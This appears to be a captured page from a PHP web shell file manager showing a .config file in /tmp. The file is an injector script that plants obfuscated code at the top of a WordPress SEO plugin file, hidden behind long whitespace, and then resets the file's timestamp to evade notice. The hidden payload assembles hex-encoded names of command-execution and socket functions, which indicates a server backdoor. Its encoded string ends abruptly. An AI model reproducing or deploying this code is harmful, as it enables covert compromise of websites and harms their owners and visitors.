D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
thread-self
/
root
/
tmp
/
Filename :
.config
back
Copy
<?php $path = '/home/realadss/public_html/wp-content/plugins/wordpress-seo/src/models/seo-links.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24parameter1%20%3D%20%279%27%3B%24parameter2%20%3D%20%273%27%3B%24parameter3%20%3D%20%277%27%3B%24parameter4%20%3D%20%275%27%3B%24parameter5%20%3D%20%276%27%3B%24parameter6%20%3D%20%27d%27%3B%24parameter7%20%3D%20%278%27%3B%24parameter8%20%3D%20%27c%27%3B%24parameter9%20%3D%20%270%27%3B%24parameter10%20%3D%20%274%27%3B%24parameter11%20%3D%20%272%27%3B%24parameter12%20%3D%20%271%27%3B%24parameter13%20%3D%20%27f%27%3B%24parameter14%20%3D%20%27e%27%3B%24rfind1%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%273%27.%277%27.%24parameter1.%277%27.%24parameter2.%24parameter3.%274%27.%276%27.%24parameter4.%24parameter5.%24parameter6%29%3B%24rfind2%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%273%27.%276%27.%24parameter7.%276%27.%24parameter4.%276%27.%24parameter8.%24parameter5.%27c%27.%275%27.%27f%27.%24parameter5.%24parameter4.%24parameter3.%24parameter7.%276%27.%24parameter4.%276%27.%24parameter2%29%3B%24rfind3%20%3D%20pack%28%22H%2A%22%2C%20%276%27.%275%27.%24parameter3.%24parameter7.%276%27.%275%27.%276%27.%273%27%29%3B%24rfind4%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%24parameter9.%24parameter5.%271%27.%277%27.%273%27.%277%27.%273%27.%24parameter3.%24parameter10.%24parameter5.%24parameter7.%277%27.%272%27.%277%27.%275%27%29%3B%24rfind5%20%3D%20pack%28%22H%2A%22%2C%20%24parameter3.%270%27.%276%27.%27f%27.%277%27.%270%27.%24parameter5.%275%27.%276%27.%27e%27%29%3B%24rfind6%20%3D%20pack%28%22H%2A%22%2C%20%24parameter3.%273%27.%277%27.%24parameter10.%277%27.%24parameter11.%276%27.%275%27.%276%27.%24parameter12.%276%27.%24parameter6.%24parameter4.%27f%27.%24parameter5.%24parameter3.%276%27.%275%27.%277%27.%24parameter10.%24parameter4.%27f%27.%276%27.%273%27.%276%27.%24parameter13.%24parameter5.%24parameter14.%277%27.%24parameter10.%276%27.%275%27.%24parameter5.%27e%27.%24parameter3.%274%27.%277%27.%273%27%29%3B%24rfind7%20%3D%20pack%28%22H%2A%22%2C%20%277%27.%270%27.%276%27.%24parameter2.%24parameter5.%24parameter8.%24parameter5.%24parameter13.%277%27.%273%27.%24parameter5.%275%27%29%'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { @touch($path, $ft); $content = file_get_contents($path); if (strstr($content, $new_code)) { die('!success!'); } } } } die('!failed!');